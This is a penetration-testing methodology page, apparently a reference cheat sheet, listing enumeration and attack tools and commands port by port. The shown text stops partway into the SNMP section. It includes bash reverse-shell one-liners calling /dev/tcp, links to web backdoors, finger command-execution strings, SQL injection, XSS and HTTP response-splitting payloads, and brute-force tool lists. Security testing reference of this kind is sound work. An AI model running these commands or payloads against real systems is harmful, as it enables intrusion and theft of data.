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<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
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<title>Penetration Testing Methodology - 0DAYsecurity.com</title>
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<h3>Enumeration</h3>
<ul>
<li>FTP port 21 open
<ul>
<li>Fingerprint server
<ul>
<li>telnet ip_address 21 (Banner grab) </li>
<li>Run command ftp ip_address </li>
<li>ftp@example.com </li>
<li>Check for anonymous access
<ul>
<li>ftp ip_addressUsername: anonymous OR anonPassword: any@email.com </li>
</ul>
</li>
</ul>
</li>
<li>Password guessing
<ul>
<li><a href="http://freeworld.thc.org/">Hydra brute force </a><a href="http://freeworld.thc.org/"></a></li>
<li><a href="http://www.foofus.net/jmk/medusa/">medusa </a><a href="http://www.foofus.net/jmk/medusa/"></a></li>
<li><a href="http://www.hoobie.net/brutus/">Brutus </a><a href="http://www.hoobie.net/brutus/"></a></li>
</ul>
</li>
<li>Examine configuration files
<ul>
<li>ftpusers </li>
<li>ftp.conf </li>
<li>proftpd.conf </li>
</ul>
</li>
<li>MiTM
<ul>
<li><a href="http://packetstormsecurity.org/0007-exploits/pasvagg.pl">pasvagg.pl </a><a href="http://packetstormsecurity.org/0007-exploits/pasvagg.pl"></a></li>
</ul>
</li>
</ul>
</li>
<li>SSH port 22 open
<ul>
<li>Fingerprint server
<ul>
<li>telnet ip_address 22 (banner grab) </li>
<li><a href="http://www.monkey.org/%7Eprovos/scanssh/">scanssh </a><a href="http://www.monkey.org/%7Eprovos/scanssh/"></a>
<ul>
<li>scanssh -p -r -e excludes random(no.)/Network_ID/Subnet_Mask </li>
</ul>
</li>
</ul>
</li>
<li>Password guessing
<ul>
<li>ssh root@ip_address </li>
<li><a href="http://packetstormsecurity.org/groups/teso/guess-who-0.44.tgz">guess-who </a><a href="http://packetstormsecurity.org/groups/teso/guess-who-0.44.tgz"></a>
<ul>
<li>./b -l username -h ip_address -p 22 -2 < password_file_location </li>
</ul>
</li>
<li><a href="http://freeworld.thc.org/">Hydra brute force </a><a href="http://freeworld.thc.org/"></a></li>
<li><a href="http://www.edge-security.com/edge-soft.php">brutessh </a><a href="http://www.edge-security.com/edge-soft.php"></a></li>
<li><a href="http://www.darkc0de.com/c0de/ruby/sshbrute.txt">Ruby SSH Bruteforcer </a><a href="http://www.darkc0de.com/c0de/ruby/sshbrute.txt"></a></li>
</ul>
</li>
<li>Examine configuration files
<ul>
<li>ssh_config </li>
<li>sshd_config </li>
<li>authorized_keys </li>
<li>ssh_known_hosts </li>
<li>.shosts </li>
</ul>
</li>
<li>SSH Client programs
<ul>
<li><a href="http://www.bitvise.com/">tunnelier </a><a href="http://www.bitvise.com/"></a></li>
<li><a href="http://www.bitvise.com/winsshd">winsshd </a><a href="http://www.bitvise.com/winsshd"></a></li>
<li><a href="http://www.chiark.greenend.org.uk/%7Esgtatham/putty/">putty </a><a href="http://www.chiark.greenend.org.uk/%7Esgtatham/putty/"></a></li>
<li><a href="http://winscp.net/eng/index.php">winscp </a><a href="http://winscp.net/eng/index.php"></a></li>
</ul>
</li>
</ul>
</li>
<li>Telnet port 23 open
<ul>
<li>Fingerprint server
<ul>
<li>telnet ip_address
<ul>
<li>Common Banner ListOS/BannerSolaris 8/SunOS 5.8Solaris 2.6/SunOS 5.6Solaris 2.4 or 2.5.1/Unix(r) System V Release 4.0 (hostname)SunOS 4.1.x/SunOS Unix (hostname)FreeBSD/FreeBSD/i386 (hostname) (ttyp1)NetBSD/NetBSD/i386 (hostname) (ttyp1)OpenBSD/OpenBSD/i386 (hostname) (ttyp1)Red Hat 8.0/Red Hat Linux release 8.0 (Psyche)Debian 3.0/Debian GNU/Linux 3.0 / hostnameSGI IRIX 6.x/IRIX (hostname)IBM AIX 4.1.x/AIX Version 4 (C) Copyrights by IBM and by others 1982, 1994.IBM AIX 4.2.x or 4.3.x/AIX Version 4 (C) Copyrights by IBM and by others 1982, 1996.Nokia IPSO/IPSO (hostname) (ttyp0)Cisco IOS/User Access VerificationLivingston ComOS/ComOS - Livingston PortMaster </li>
</ul>
</li>
<li><a href="http://www.securiteam.com/tools/6J00L0K06U.html">telnetfp </a><a href="http://www.securiteam.com/tools/6J00L0K06U.html"></a></li>
</ul>
</li>
<li>Password Attack
<ul>
<li>
<p><a href="http://www.vulnerabiliyassessment.co.uk/passwords.htm"> Common passwords </a></p>
<a href="http://www.vulnerabiliyassessment.co.uk/passwords.htm"></a></li>
<li><a href="http://freeworld.thc.org/">Hydra brute force </a><a href="http://freeworld.thc.org/"></a></li>
<li><a href="http://www.hoobie.net/brutus/">Brutus </a><a href="http://www.hoobie.net/brutus/"></a></li>
<li>telnet -l "-froot" hostname (Solaris 10+) </li>
</ul>
</li>
<li>Examine configuration files
<ul>
<li>/etc/inetd.conf </li>
<li>/etc/xinetd.d/telnet </li>
<li>/etc/xinetd.d/stelnet </li>
</ul>
</li>
</ul>
</li>
<li>Sendmail Port 25 open
<ul>
<li>Fingerprint server
<ul>
<li>telnet ip_address 25 (banner grab) </li>
</ul>
</li>
<li>Mail Server Testing
<ul>
<li>Enumerate users
<ul>
<li>VRFY username (verifies if username exists - enumeration of accounts) </li>
<li>EXPN username (verifies if username is valid - enumeration of accounts) </li>
</ul>
</li>
<li>Mail Spoof Test
<ul>
<li>HELO anything MAIL FROM: spoofed_address RCPT TO:valid_mail_account DATA . QUIT </li>
</ul>
</li>
<li>Mail Relay Test
<ul>
<li>
<p> HELO anything </p>
<ul>
<li>Identical to/from - mail from: <nobody@domain> rcpt to: <nobody@domain> </li>
<li>Unknown domain - mail from: <user@unknown_domain> </li>
<li>Domain not present - mail from: <user@localhost> </li>
<li>Domain not supplied - mail from: <user> </li>
<li>
<p> Source address omission - mail from: <> rcpt to: <nobody@recipient_domain> </p>
</li>
<li>Use IP address of target server - mail from: <user@IP_Address> rcpt to: <nobody@recipient_domain> </li>
<li>
<p> Use double quotes - mail from: <user@domain> rcpt to: <"user@recipent-domain"> </p>
</li>
<li>
<p> User IP address of the target server - mail from: <user@domain> rcpt to: <nobody@recipient_domain@[IP Address]> </p>
</li>
<li>
<p> Disparate formatting - mail from: <user@[IP Address]> rcpt to: <@domain:nobody@recipient-domain> </p>
</li>
<li>
<p> Disparate formatting2 - mail from: <user@[IP Address]> rcpt to: <recipient_domain!nobody@[IP Address]> </p>
</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
<li>Examine Configuration Files
<ul>
<li>sendmail.cf </li>
<li>submit.cf </li>
</ul>
</li>
</ul>
</li>
<li>DNS port 53 open
<ul>
<li>Fingerprint server/ service
<ul>
<li>host
<ul>
<li>host [-aCdlnrTwv ] [-c class ] [-N ndots ] [-R number ] [-t type ] [-W wait ] name [server ] -v verbose format -t (query type) Allows a user to specify a record type i.e. A, NS, or PTR. -a Same as t ANY. -l Zone transfer (if allowed). -f Save to a specified filename. </li>
</ul>
</li>
<li>nslookup
<ul>
<li>nslookup [ -option ... ] [ host-to-find | - [ server ]] </li>
</ul>
</li>
<li>dig
<ul>
<li>dig [ @server ] [-b address ] [-c class ] [-f filename ] [-k filename ] [-p port# ] [-t type ] [-x addr ] [-y name:key ] [-4 ] [-6 ] [name ] [type ] [class ] [queryopt... ] </li>
</ul>
</li>
<li>whois-h Use the named host to resolve the query -a Use ARIN to resolve the query -r Use RIPE to resolve the query -p Use APNIC to resolve the query -Q Perform a quick lookup </li>
</ul>
</li>
<li>DNS Enumeration
<ul>
<li><a href="http://www.sensepost.com/">Bile Suite </a><a href="http://www.sensepost.com/"></a>
<ul>
<li>perl BiLE.pl [website] [project_name] </li>
<li>perl BiLE-weigh.pl [website] [input file] </li>
<li>perl vet-IPrange.pl [input file] [true domain file] [output file] <range> </li>
<li>perl vet-mx.pl [input file] [true domain file] [output file] </li>
<li>perl exp-tld.pl [input file] [output file] </li>
<li>perl jarf-dnsbrute [domain_name] (brutelevel) [file_with_names] </li>
<li>perl qtrace.pl [ip_address_file] [output_file] </li>
<li>perl jarf-rev [subnetblock] [nameserver] </li>
</ul>
</li>
<li><a href="http://www.txdns.net/">txdns </a><a href="http://www.txdns.net/"></a>
<ul>
<li>txdns -rt -t domain_name </li>
<li>txdns -x 50 -bb domain_name </li>
<li>txdns --verbose -fm wordlist.dic --server ip_address -rr SOA domain_name -h c: \hostlist.txt </li>
</ul>
</li>
</ul>
</li>
<li>Examine Configuration Files
<ul>
<li>host.conf </li>
<li>resolv.conf </li>
<li>named.conf </li>
</ul>
</li>
</ul>
</li>
<li>TFTP port 69 open
<ul>
<li>TFTP Enumeration
<ul>
<li>tftp ip_address PUT local_file </li>
<li>tftp ip_address GET conf.txt (or other files) </li>
<li>Solarwinds TFTP server </li>
<li>tftp i <IP> GET /etc/passwd (old Solaris) </li>
</ul>
</li>
<li>TFTP Bruteforcing
<ul>
<li><a href="http://www.arhont.com/digitalAssets/">TFTP bruteforcer </a><a href="http://www.arhont.com/digitalAssets/"></a></li>
<li><a href="http://www.hackingciscoexposed.com/?link=tools">Cisco-Torch </a><a href="http://www.hackingciscoexposed.com/?link=tools"></a></li>
</ul>
</li>
</ul>
</li>
<li>Finger Port 79 open
<ul>
<li>User enumeration
<ul>
<li>finger 'a b c d e f g h' @example.com </li>
<li>finger admin@example.com </li>
<li>finger user@example.com </li>
<li>finger 0@example.com </li>
<li>finger .@example.com </li>
<li>finger **@example.com </li>
<li>finger test@example.com </li>
<li>finger @example.com </li>
</ul>
</li>
<li>Command execution
<ul>
<li>finger "|/bin/id@example.com" </li>
<li>finger "|/bin/ls -a /@example.com" </li>
</ul>
</li>
<li>Finger Bounce
<ul>
<li>finger user@host@victim </li>
<li>finger @internal@external </li>
</ul>
</li>
</ul>
</li>
<li>Web Ports 80, 8080 etc. open
<ul>
<li>Fingerprint server
<ul>
<li>Telnet ip_address port </li>
<li>Firefox plugins
<ul>
<li>All
<ul>
<li><a href="http://www.security-database.com/">firecat </a><a href="http://www.security-database.com/"></a></li>
</ul>
</li>
<li>Specific
<ul>
<li><a href="https://addons.mozilla.org/">add n edit cookies </a><a href="https://addons.mozilla.org/"></a></li>
<li><a href="https://addons.mozilla.org/">asnumber </a><a href="https://addons.mozilla.org/"></a></li>
<li><a href="https://addons.mozilla.org/">header spy </a><a href="https://addons.mozilla.org/"></a></li>
<li><a href="https://addons.mozilla.org/">live http headers </a><a href="https://addons.mozilla.org/"></a></li>
<li><a href="https://addons.mozilla.org/">shazou </a><a href="https://addons.mozilla.org/"></a></li>
<li><a href="http://chrispederick.com/work/web-developer/">web developer </a><a href="http://chrispederick.com/work/web-developer/"></a></li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
<li>Crawl website
<ul>
<li>lynx [options] startfile/URL Options include -traversal -crawl -dump -image_links -source </li>
<li><a href="http://net-square.com/httprint/httprint_paper.html">httprint </a><a href="http://net-square.com/httprint/httprint_paper.html"></a></li>
<li><a href="http://www.edge-security.com/metagoofil.php">Metagoofil </a><a href="http://www.edge-security.com/metagoofil.php"></a>
<ul>
<li>metagoofil.py -d [domain] -l [no. of] -f [type] -o results.html </li>
</ul>
</li>
</ul>
</li>
<li>Web Directory enumeration
<ul>
<li><a href="http://www.cirt.net/code/nikto.shtml">Nikto </a><a href="http://www.cirt.net/code/nikto.shtml"></a>
<ul>
<li>nikto [-h target] [options] </li>
</ul>
</li>
<li><a href="http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project">DirBuster </a><a href="http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project"></a></li>
<li><a href="http://www.sensepost.com/research/wikto/">Wikto </a><a href="http://www.sensepost.com/research/wikto/"></a></li>
<li><a href="http://www.goolag.org/download.html">Goolag Scanner </a><a href="http://www.goolag.org/download.html"></a></li>
</ul>
</li>
<li>Vulnerability Assessment
<ul>
<li>Manual Tests
<ul>
<li><a href="http://www.vulnerabilityassessment.co.uk/Passwords.htm">Default Passwords </a><a href="http://www.vulnerabilityassessment.co.uk/Passwords.htm"></a></li>
<li>Install Backdoors
<ul>
<li>ASP
<ul>
<li>http://packetstormsecurity.org/UNIX/penetration/aspxshell.aspx.txt </li>
</ul>
</li>
<li>Assorted
<ul>
<li>http://michaeldaw.org/projects/web-backdoor-compilation/ </li>
<li>http://open-labs.org/hacker_webkit02.tar.gz </li>
</ul>
</li>
<li>Perl
<ul>
<li>http://home.arcor.de/mschierlm/test/pmsh.pl </li>
<li>http://pentestmonkey.net/tools/perl-reverse-shell/ </li>
<li>http://freeworld.thc.org/download.php?t=r&f=rwwwshell-2.0.pl.gz </li>
</ul>
</li>
<li>PHP
<ul>
<li>http://php.spb.ru/remview/ </li>
<li>http://pentestmonkey.net/tools/php-reverse-shell/ </li>
<li>http://pentestmonkey.net/tools/php-findsock-shell/ </li>
</ul>
</li>
<li>Python
<ul>
<li>http://matahari.sourceforge.net/ </li>
</ul>
</li>
<li>TCL
<ul>
<li>http://www.irmplc.com/download_pdf.php?src=Creating_Backdoors_in_Cisco_IOS_using_Tcl.pdf&force=yes </li>
</ul>
</li>
<li>Bash Connect Back Shell
<ul>
<li><a href="http://www.gnucitizen.org/blog/reverse-shell-with-bash/">GnuCitizen </a><a href="http://www.gnucitizen.org/blog/reverse-shell-with-bash/"></a>
<ul>
<li>Atttack Box: nc -l -p Port -vvv </li>
<li>
<p> Victim: $ exec 5<>/dev/tcp/IP_Address/Port </p>
<p> Victim: $ cat <&5 | while read line; do $line 2>&5 >&5; done </p>
</li>
</ul>
</li>
<li><a href="http://labs.neohapsis.com/2008/04/17/connect-back-shell-literally/">Neohapsis </a><a href="http://labs.neohapsis.com/2008/04/17/connect-back-shell-literally/"></a>
<ul>
<li>Atttack Box: nc -l -p Port -vvv </li>
<li>
<p>Victim: $ exec 0</dev/tcp/IP_Address/Port # First we copy our connection over stdin </p>
<p>Victim: $ exec 1>&0 # Next we copy stdin to stdout </p>
<p>Victim: $ exec 2>&0 # And finally stdin to stderr </p>
<p>Victim: $ exec /bin/sh 0</dev/tcp/IP_Address/Port 1>&0 2>&0 </p>
</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
<li>Method Testing
<ul>
<li>nc IP_Adress Port
<ul>
<li>HEAD / HTTP/1.0 </li>
<li>OPTIONS / HTTP/1.0 </li>
<li>PROPFIND / HTTP/1.0 </li>
<li>TRACE / HTTP/1.1 </li>
<li>PUT http://Target_URL/FILE_NAME </li>
<li>POST http://Target_URL/FILE_NAME HTTP/1.x </li>
</ul>
</li>
</ul>
</li>
<li>Upload Files
<ul>
<li>curl
<ul>
<li>curl -u <username:password> -T file_to_upload <Target_URL> </li>
<li>curl -A "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)" <Target_URL> </li>
</ul>
</li>
<li><a href="http://examples.oreilly.com/networksa/tools/put.pl">put.pl </a><a href="http://examples.oreilly.com/networksa/tools/put.pl"></a>
<ul>
<li>put.pl -h target -r /remote_file_name -f local_file_name </li>
</ul>
</li>
<li>webdav
<ul>
<li><a href="http://www.webdav.org/cadaver/">cadaver </a><a href="http://www.webdav.org/cadaver/"></a></li>
</ul>
</li>
</ul>
</li>
<li>View Page Source
<ul>
<li>Hidden Values </li>
<li>Developer Remarks </li>
<li>Extraneous Code </li>
<li>Passwords! </li>
</ul>
</li>
<li><a href="http://michaeldaw.org/input_validation_cheat_sheet/">Input Validation Checks </a><a href="http://michaeldaw.org/input_validation_cheat_sheet/"></a>
<ul>
<li>NULL or null
<ul>
<li>Possible error messages returned. </li>
</ul>
</li>
<li>' , " , ; , <!
<ul>
<li>Breaks an SQL string or query; used for SQL, XPath and XML Injection tests. </li>
</ul>
</li>
<li> , = , + , "
<ul>
<li>Used to craft SQL Injection queries. </li>
</ul>
</li>
<li> , &, ! , ¦ , < , >
<ul>
<li>Used to find command execution vulnerabilities. </li>
</ul>
</li>
<li>"><script>alert(1)</script>
<ul>
<li>Basic Cross-Site Scripting Checks. </li>
</ul>
</li>
<li>%0d%0a
<ul>
<li>Carriage Return (%0d) Line Feed (%0a)
<ul>
<li>HTTP Splitting
<ul>
<li>
<p> language=?foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2047%0d%0a%0d%0a<html>Insert undesireable content here</html> </p>
<ul>
<li>i.e. Content-Length= 0 HTTP/1.1 200 OK Content-Type=text/html Content-Length=47<html>blah</html> </li>
</ul>
</li>
</ul>
</li>
<li>Cache Poisoning
<ul>
<li>
<p> language=?foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20304%20Not%20Modified%0d%0aContent-Type:%20text/html%0d%0aLast-Modified:%20Mon,%2027%20Oct%202003%2014:50:18%20GMT%0d%0aContent-Length:%2047%0d%0a%0d%0a<html>Insert undesireable content here</html> </p>
</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
<li>%7f , %ff
<ul>
<li>byte-length overflows; maximum 7- and 8-bit values. </li>
</ul>
</li>
<li>-1, other
<ul>
<li>Integer and underflow vulnerabilities. </li>
</ul>
</li>
<li>%n , %x , %s
<ul>
<li>Testing for format string vulnerabilities. </li>
</ul>
</li>
<li>../
<ul>
<li>Directory Traversal Vulnerabilities. </li>
</ul>
</li>
<li>% , _, *
<ul>
<li>Wildcard characters can sometimes present DoS issues or information disclosure. </li>
</ul>
</li>
<li>Ax1024+
<ul>
<li>Overflow vulnerabilities. </li>
</ul>
</li>
</ul>
</li>
<li>Automated table and column iteration
<ul>
<li><a href="http://forum.darkc0de.com/">orderby.py </a><a href="http://forum.darkc0de.com/"></a>
<ul>
<li>./orderby.py www.site.com/index.php?id= </li>
</ul>
</li>
<li><a href="http://forum.darkc0de.com/">d3sqlfuzz.py </a><a href="http://forum.darkc0de.com/"></a>
<ul>
<li>./d3sqlfuzz.py www.site.com/index.php?id=-1+UNION+ALL+SELECT+1,COLUMN,3+FROM+TABLE-- </li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
<li>Vulnerability Scanners
<ul>
<li><a href="http://www.acunetix.com/">Acunetix </a><a href="http://www.acunetix.com/"></a></li>
<li><a href="http://grendel-scan.com/">Grendelscan </a><a href="http://grendel-scan.com/"></a></li>
<li><a href="http://www.nstalker.com/eng/products/nstealth/free/download.php">NStealth </a><a href="http://www.nstalker.com/eng/products/nstealth/free/download.php"></a></li>
<li><a href="http://www.phenoelit-us.org/obiwan/docu.html">Obiwan III </a><a href="http://www.phenoelit-us.org/obiwan/docu.html"></a></li>
<li><a href="http://w3af.sourceforge.net/">w3af </a><a href="http://w3af.sourceforge.net/"></a></li>
</ul>
</li>
<li>Specific Applications/ Server Tools
<ul>
<li>Domino
<ul>
<li><a href="http://www.irmplc.com/Tools/dominoaudit.pl">dominoaudit </a><a href="http://www.irmplc.com/Tools/dominoaudit.pl"></a>
<ul>
<li> dominoaudit.pl [options] -h <IP> </li>
</ul>
</li>
</ul>
</li>
<li>Joomla
<ul>
<li><a href="http://packetstormsecurity.org/filedesc/cms_few.py.txt.html">cms_few </a><a href="http://packetstormsecurity.org/filedesc/cms_few.py.txt.html"></a>
<ul>
<li>./cms.py <site-name> </li>
</ul>
</li>
<li><a href="http://packetstormsecurity.org/UNIX/scanners/joomsq.py.txt">joomsq </a><a href="http://packetstormsecurity.org/UNIX/scanners/joomsq.py.txt"></a>
<ul>
<li>./joomsq.py <IP> </li>
</ul>
</li>
<li><a href="http://packetstormsecurity.nl/filedesc/joomlascan.py.txt.html">joomlascan </a><a href="http://packetstormsecurity.nl/filedesc/joomlascan.py.txt.html"></a>
<ul>
<li>
<p> ./joomlascan.py <site> <options> [options i.e. -p/-proxy <host:port> : Add proxy support -404 : Don't show 404 responses] </p>
</li>
</ul>
</li>
<li><a href="http://www.darkc0de.com/others/joomscan.py">joomscan </a><a href="http://www.darkc0de.com/others/joomscan.py"></a>
<ul>
<li>./joomscan.py -u "www.site.com/joomladir/" -o site.txt -p 127.0.0.1:80 </li>
</ul>
</li>
<li><a href="http://destr0y.net/showthread.php?t=137">jscan </a><a href="http://destr0y.net/showthread.php?t=137"></a>
<ul>
<li>jscan.pl -f hostname </li>
<li>(shell.txt required) </li>
</ul>
</li>
</ul>
</li>
<li><a href="http://www.indianz.ch/toolslnxe.html">aspaudit.pl </a><a href="http://www.indianz.ch/toolslnxe.html"></a>
<ul>
<li>asp-audit.pl http://target/app/filename.aspx (options i.e. -bf) </li>
</ul>
</li>
<li>Vbulletin
<ul>
<li><a href="http://darkc0de.com/scanners/">vbscan.py </a><a href="http://darkc0de.com/scanners/"></a>
<ul>
<li>vbscan.py <host> <port> -v </li>
<li>vbscan.py -update </li>
</ul>
</li>
</ul>
</li>
<li>ZyXel
<ul>
<li><a href="http://www.gnucitizen.org/static/blog/2008/04/hacking_zyxel_gateways_part_2.pdf">zyxel-bf.sh </a><a href="http://www.gnucitizen.org/static/blog/2008/04/hacking_zyxel_gateways_part_2.pdf"></a></li>
<li>snmpwalk
<ul>
<li>snmpwalk -v2c -c public IP_Address 1.3.6.1.4.1.890.1.2.1.2 </li>
</ul>
</li>
<li>snmpget
<ul>
<li>snmpget -v2c -c public IP_Address 1.3.6.1.4.1.890.1.2.1.2.6.0 </li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
<li>Proxy Testing
<ul>
<li><a href="http://www.portswigger.net/">Burpsuite </a><a href="http://www.portswigger.net/"></a></li>
<li><a href="http://www.sensepost.com/research/crowbar%20">Crowbar </a><a href="http://www.sensepost.com/research/crowbar%20"></a></li>
<li><a href="http://www.woany.co.uk/">Interceptor </a><a href="http://www.woany.co.uk/"></a></li>
<li><a href="http://www.parosproxy.org/index.shtml">Paros </a><a href="http://www.parosproxy.org/index.shtml"></a></li>
<li><a href="http://www.woany.co.uk/">Requester Raw </a><a href="http://www.woany.co.uk/"></a></li>
<li><a href="http://www.sensepost.com/research/suru/">Suru </a><a href="http://www.sensepost.com/research/suru/"></a></li>
<li><a href="http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project">WebScarab </a><a href="http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project"></a></li>
</ul>
</li>
<li>Examine configuration files
<ul>
<li>Generic
<ul>
<li>Examine httpd.conf/ windows config files </li>
</ul>
</li>
<li><a href="http://packetstormsecurity.org/papers/attack/Whitepaper-Hacking-jBoss-using-a-Browser.pdf">JBoss </a><a href="http://packetstormsecurity.org/papers/attack/Whitepaper-Hacking-jBoss-using-a-Browser.pdf"></a>
<ul>
<li>JMX Console http://<IP>:8080/jmxconcole/
<ul>
<li><a href="http://access1.sun.com/techarticles/simple.WAR.html">War File </a><a href="http://access1.sun.com/techarticles/simple.WAR.html"></a></li>
</ul>
</li>
</ul>
</li>
<li>Joomla
<ul>
<li>configuration.php </li>
<li>diagnostics.php </li>
<li>joomla.inc.php </li>
<li>config.inc.php </li>
</ul>
</li>
<li>Mambo
<ul>
<li>configuration.php </li>
<li>config.inc.php </li>
</ul>
</li>
<li>Wordpress
<ul>
<li>setup-config.php </li>
<li>wp-config.php </li>
</ul>
</li>
<li><a href="http://packetstormsecurity.org/papers/attack/Hacking_ZyXEL_Gateways.pdf">ZyXel </a><a href="http://packetstormsecurity.org/papers/attack/Hacking_ZyXEL_Gateways.pdf"></a>
<ul>
<li>/WAN.html (contains PPPoE ISP password) </li>
<li>/WLAN_General.html and /WLAN.html (contains WEP key) </li>
<li>/rpDyDNS.html (contains DDNS credentials) </li>
<li>/Firewall_DefPolicy.html (Firewall) </li>
<li>/CF_Keyword.html (Content Filter) </li>
<li>/RemMagWWW.html (Remote MGMT) </li>
<li>/rpSysAdmin.html (System) </li>
<li>/LAN_IP.html (LAN) </li>
<li>/NAT_General.html (NAT) </li>
<li>/ViewLog.html (Logs) </li>
<li>/rpFWUpload.html (Tools) </li>
<li>/DiagGeneral.html (Diagnostic) </li>
<li>/RemMagSNMP.html (SNMP Passwords) </li>
<li>/LAN_ClientList.html (Current DHCP Leases) </li>
<li>Config Backups
<ul>
<li>/RestoreCfg.html </li>
<li>/BackupCfg.html </li>
<li>Note: - The above config files are not human readable and the following tool is required to breakout possible admin credentials and other important settings
<ul>
<li><a href="http://www.mindmasters.nl/kender/zyxel/configreader.zip">ZyXEL Config Reader </a><a href="http://www.mindmasters.nl/kender/zyxel/configreader.zip"></a></li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
<li>Examine web server logs
<ul>
<li>c:\winnt\system32\Logfiles\W3SVC1
<ul>
<li>awk -F " " '{print $3,$11} filename | sort | uniq </li>
</ul>
</li>
</ul>
</li>
<li>References
<ul>
<li>White Papers
<ul>
<li><a href="http://www.isecpartners.com/files/CSRF_Paper.pdf">Cross Site Request Forgery: An Introduction to a Common Web Application Weakness </a><a href="http://www.isecpartners.com/files/CSRF_Paper.pdf"></a></li>
<li><a href="http://www.isecpartners.com/files/iSEC_HILL_AttackingXMLSecurity_Handout.pdf">Attacking Web Service Security: Message Oriented Madness, XML Worms and Web Service Security Sanity </a><a href="http://www.isecpartners.com/files/iSEC_HILL_AttackingXMLSecurity_Handout.pdf"></a></li>
<li><a href="http://www.isecpartners.com/files/iSEC_Scott_Stender_Blind_Security_Testing.bh07.pdf">Blind Security Testing - An Evolutionary Approach </a><a href="http://www.isecpartners.com/files/iSEC_Scott_Stender_Blind_Security_Testing.bh07.pdf"></a></li>
<li><a href="http://www.isecpartners.com/files/XMLDSIG_Command_Injection.pdf">Command Injection in XML Signatures and Encryption </a><a href="http://www.isecpartners.com/files/XMLDSIG_Command_Injection.pdf"></a></li>
<li><a href="http://michaeldaw.org/input_validation_cheat_sheet/"> Input Validation Cheat Sheet </a><a href="http://michaeldaw.org/input_validation_cheat_sheet/"></a></li>
<li><a href="http://michaeldaw.org/sql-injection-cheat-sheet/">SQL Injection Cheat Sheet </a><a href="http://michaeldaw.org/sql-injection-cheat-sheet/"></a></li>
</ul>
</li>
<li>Books
<ul>
<li><a href="http://www.isecpartners.com/hackingexposedweb20.html">Hacking Exposed Web 2.0 </a><a href="http://www.isecpartners.com/hackingexposedweb20.html"></a></li>
<li><a href="http://www.webhackingexposed.com/">Hacking Exposed Web Applications </a><a href="http://www.webhackingexposed.com/"></a></li>
<li><a href="http://portswigger.net/wahh/">The Web Application Hacker's Handbook </a><a href="http://portswigger.net/wahh/"></a></li>
</ul>
</li>
</ul>
</li>
<li>Exploit Frameworks
<ul>
<li>Brute-force Tools
<ul>
<li><a href="http://www.acunetix.com/">Acunetix </a><a href="http://www.acunetix.com/"></a></li>
</ul>
</li>
<li><a href="http://www.metasploit.com/">Metasploit </a><a href="http://www.metasploit.com/"></a></li>
<li><a href="http://w3af.sourceforge.net/">w3af </a><a href="http://w3af.sourceforge.net/"></a></li>
</ul>
</li>
</ul>
</li>
<li>Portmapper port 111 open
<ul>
<li><a href="http://oss.coresecurity.com/impacket/rpcdump.py">rpcdump.py </a><a href="http://oss.coresecurity.com/impacket/rpcdump.py"></a>
<ul>
<li>rpcdump.py username:password@IP_Address port/protocol (i.e. 80/HTTP) </li>
</ul>
</li>
<li>rpcinfo
<ul>
<li>rpcinfo [options] IP_Address </li>
</ul>
</li>
</ul>
</li>
<li>NTP Port 123 open
<ul>
<li>NTP Enumeration
<ul>
<li>ntpdc -c monlist IP_ADDRESS </li>
<li>ntpdc -c sysinfo IP_ADDRESS </li>
<li>ntpq
<ul>
<li>host </li>
<li>hostname </li>
<li>ntpversion </li>
<li>readlist </li>
<li>version </li>
</ul>
</li>
</ul>
</li>
<li>Examine configuration files
<ul>
<li>ntp.conf </li>
</ul>
</li>
</ul>
</li>
<li>NetBIOS Ports 135-139,445 open
<ul>
<li>NetBIOS enumeration
<ul>
<li><a href="http://www.bindview.com/Services/RAZOR/Utilities/Windows/enum_readme.cfm">Enum </a><a href="http://www.bindview.com/Services/RAZOR/Utilities/Windows/enum_readme.cfm"></a>
<ul>
<li>enum <-UMNSPGLdc> <-u username> <-p password> <-f dictfile> <hostname|ip> </li>
</ul>
</li>
<li>Null Session
<ul>
<li>net use \\192.168.1.1\ipc$ "" /u:""
<ul>
<li>net view \\ip_address </li>
<li><a href="http://www.systemtools.com/download/dumpacl.zip">Dumpsec </a><a href="http://www.systemtools.com/download/dumpacl.zip"></a></li>
</ul>
</li>
</ul>
</li>
<li>Smbclient
<ul>
<li>smbclient -L //server/share password options </li>
</ul>
</li>
<li><a href="http://www.foundstone.com/index.htm?subnav=resources/navigation.htm&subcontent=/resources/proddesc/superscan.htm">Superscan </a><a href="http://www.foundstone.com/index.htm?subnav=resources/navigation.htm&subcontent=/resources/proddesc/superscan.htm"></a>
<ul>
<li>Enumeration tab. </li>
</ul>
</li>
<li><a href="http://packetstormsecurity.org/NT/hack/sid.zip">user2sid/sid2user </a><a href="http://packetstormsecurity.org/NT/hack/sid.zip"></a></li>
<li><a href="http://ntsecurity.nu/toolbox/winfo/">Winfo </a><a href="http://ntsecurity.nu/toolbox/winfo/"></a></li>
</ul>
</li>
<li>NetBIOS brute force
<ul>
<li><a href="http://freeworld.thc.org/">Hydra </a><a href="http://freeworld.thc.org/"></a></li>
<li><a href="http://www.hoobie.net/brutus/">Brutus </a><a href="http://www.hoobie.net/brutus/"></a></li>
<li><a href="http://www.oxid.it/cain.html">Cain & Abel </a><a href="http://www.oxid.it/cain.html"></a></li>
<li><a href="http://www.securityfriday.com/tools/GetAcct.html">getacct </a><a href="http://www.securityfriday.com/tools/GetAcct.html"></a></li>
<li><a href="http://www.cotse.com/tools/netbios.htm">NAT (NetBIOS Auditing Tool) </a><a href="http://www.cotse.com/tools/netbios.htm"></a></li>
</ul>
</li>
<li>Examine Configuration Files
<ul>
<li>Smb.conf </li>
<li>lmhosts </li>
</ul>
</li>
</ul>
</li>
<li>SNMP port 161 open
<ul>
